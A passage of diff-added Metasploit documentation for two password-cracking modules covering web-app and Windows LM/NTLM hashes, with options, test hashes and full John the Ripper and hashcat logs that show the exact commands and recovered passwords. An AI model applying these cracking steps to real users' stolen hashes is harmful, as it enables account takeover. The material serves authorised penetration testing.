xsha512_password password Password
pbkdf2_hashcat hashcat Password
```
@@ -0,0 +1,417 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Webapps
based password hashes, such as:
* `atlassian` based passwords
* `phpass` based passwords (wordpress, joomla, phpBB3)
* `mediawiki` based passwords
| Common | John | Hashcat |
|-----------|------------------|-------- |
| atlassian | PBKDF2-HMAC-SHA1 | 12001 |
| mediawiki | mediawiki | 3711 |
| phpass | phpass | 400 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `atlassian`, `mediawiki`, or `phpass` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_webapps```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**ATLASSIAN**
Crack atlassian hashes. Default is `true`.
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MEDIAWIKI**
Crack mediawiki hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**PHPASS**
Crack PHPASS hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
echo "" > /root/.msf4/john.pot
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
echo "toto" >> /tmp/wordlist
echo "hashcat" >> /tmp/wordlist
creds add user:mediawiki_qwerty hash:$B$113$de2874e33da25313d808d2a8cbf31485 jtr:mediawiki
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
creds add user:atlassian_secret hash:{PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza jtr:PBKDF2-HMAC-SHA1
creds add user:atlassian_admin hash:{PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt jtr:PBKDF2-HMAC-SHA1
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-3775-yc870y
[*] Wordlist file written out to /tmp/jtrtmp20190531-3775-5tikjk
[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA1 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:03 DONE (2019-05-31 18:59) 0.2564g/s 4375p/s 8883c/s 8883C/s password11908..t1900
Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
Session completed
[*] Cracking PBKDF2-HMAC-SHA1 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 50.00g/s 3175p/s 3200c/s 3200C/s atlassian_admin..Atlassianatlassian
Use the "--show --format=PBKDF2-HMAC-SHA1" options to display all of the cracked passwords reliably
Session completed
[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=UEKq1EAc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=PBKDF2-HMAC-SHA1 --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
[*] Checking phpass hashes already cracked...
[*] Cracking phpass hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 18:59) 100.0g/s 38400p/s 38400c/s 76800C/s test3:::..tere9
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
[*] Cracking phpass hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 19200p/s 19200c/s 19200C/s phpass_p_hashcat..tachsah_p_ssaphptachsaH
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
[*] Cracking phpass hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[*] Cracking phpass hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=ELA5O5SC --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=phpass --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1533 phpass phpass_p_hashcat hashcat Normal
1534 phpass phpass_h_hashcat hashcat Single
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
[*] Checking mediawiki hashes already cracked...
[*] Cracking mediawiki hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 18:59) 50.00g/s 853300p/s 1021Kc/s 1021KC/s thales1913..t1900
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mediawiki hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE 1/3 (2019-05-31 18:59) 100.0g/s 4800p/s 4800c/s 4800C/s mediawiki_qwerty..mediawikimediawiki_qwertymediawikimediawiki_qwerty
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mediawiki hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[*] Cracking mediawiki hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=D6d9Rjcl --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mediawiki --wordlist=/tmp/jtrtmp20190531-3775-5tikjk --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-3775-yc870y
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1531 mediawiki mediawiki_qwerty qwerty Normal
1532 mediawiki mediawiki_hashcat hashcat Single
1533 phpass phpass_p_hashcat hashcat Normal
1534 phpass phpass_h_hashcat hashcat Single
1535 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Single
1536 PBKDF2-HMAC-SHA1 atlassian_secret secret Normal
1537 PBKDF2-HMAC-SHA1 atlassian_admin admin Normal
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mediawiki_hashcat hashcat Password
phpass_p_hashcat hashcat Password
phpass_h_hashcat hashcat Password
atlassian_hashcat hashcat Password
mediawiki_qwerty $B$113$de2874e33da25313d808d2a8cbf31485 Nonreplayable hash mediawiki
mediawiki_hashcat $B$56668501$0ce106caa70af57fd525aeaf80ef2898 Nonreplayable hash mediawiki
phpass_p_hashcat $P$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
phpass_h_hashcat $H$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
atlassian_hashcat {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_secret {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_admin {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_secret secret Password
atlassian_admin admin Password
mediawiki_qwerty qwerty Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_webapps
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-3903-kn244m
[*] Wordlist file written out to /tmp/jtrtmp20190531-3903-r8ligw
[*] Checking PBKDF2-HMAC-SHA1 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking PBKDF2-HMAC-SHA1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=hWnnDYym --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12001 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
[*] Checking phpass hashes already cracked...
[*] Cracking phpass hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking phpass hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=dZ7kuaal --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1547 phpass phpass_p_hashcat hashcat Wordlist
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
[*] Checking mediawiki hashes already cracked...
[*] Cracking mediawiki hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking mediawiki hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=nasHCHQx --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3711 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-3903-kn244m /tmp/jtrtmp20190531-3903-r8ligw
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1546 mediawiki mediawiki_hashcat hashcat Wordlist
1547 phpass phpass_p_hashcat hashcat Wordlist
1549 PBKDF2-HMAC-SHA1 atlassian_hashcat hashcat Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
phpass_h_hashcat $H$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
mediawiki_qwerty $B$113$de2874e33da25313d808d2a8cbf31485 Nonreplayable hash mediawiki
mediawiki_hashcat $B$56668501$0ce106caa70af57fd525aeaf80ef2898 Nonreplayable hash mediawiki
mediawiki_hashcat hashcat Password
atlassian_admin {PKCS5S2}8WEZjkCbLWysbcbZ5PRgMbdJgJOhkzRT3y1jxOqke2z1Zr79q8ypugFQEYaMoIZt Nonreplayable hash PBKDF2-HMAC-SHA1
phpass_p_hashcat hashcat Password
atlassian_hashcat hashcat Password
atlassian_hashcat {PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa Nonreplayable hash PBKDF2-HMAC-SHA1
atlassian_secret {PKCS5S2}/eWKocWoBMiEN6aA2SQMm56/qLdCVW0fmGF4zF3CzeyaoZUpW1tE3R/fxnYjGbza Nonreplayable hash PBKDF2-HMAC-SHA1
phpass_p_hashcat $P$984478476IagS59wHZvyQMArzfx58u. Nonreplayable hash phpass
```
@@ -0,0 +1,354 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Windows
based password hashes, such as:
* `LANMAN` based passwords
* `NTLM` based passwords
| Common | John | Hashcat |
|--------|----------|---------|
| lanman | lm | 3000 |
| ntlm | nt | 1000 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `ntlm`, or `lanman` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_windows```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**LANMAN**
Crack LANMAN hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**NTLM**
Crack NTLM hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:lm_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:lm2_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:lm2_pot_password ntlm:e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:nt_password ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c jtr:nt
echo "" > /root/.msf4/john.pot
echo "\$LM\$E52CAC67419FAFE2:passwor" >> /root/.msf4/john.pot
echo "\$LM\$FAFE108F3FA6CB6D:d" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-32530-1bqr8cd
[*] Wordlist file written out to /tmp/jtrtmp20190531-32530-1qjwpit
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 17:07) 200.0g/s 585500p/s 585500c/s 1756KC/s TEST3::..T1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
[*] Cracking lm hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 336 candidates buffered for the current salt, minimum 2048 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:00 DONE 2/3 (2019-05-31 17:07) 50.00g/s 1774Kp/s 1774Kc/s 1774KC/s 123456..SEEKER0
Warning: passwords printed above might be partial
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
[*] Cracking lm hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
[*] Cracking lm hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1462 lm lm_password password Single
1463 lm lm2_password password Single
1464 lm lm2_pot_password password Already Cracked/POT
[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 17:07) 100.0g/s 19200p/s 19200c/s 19200C/s test3:::..Password12
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
[*] Cracking nt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[*] Cracking nt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[*] Cracking nt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1462 lm lm_password password Single
1463 lm lm2_password password Single
1464 lm lm2_pot_password password Already Cracked/POT
1465 nt nt_password password Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
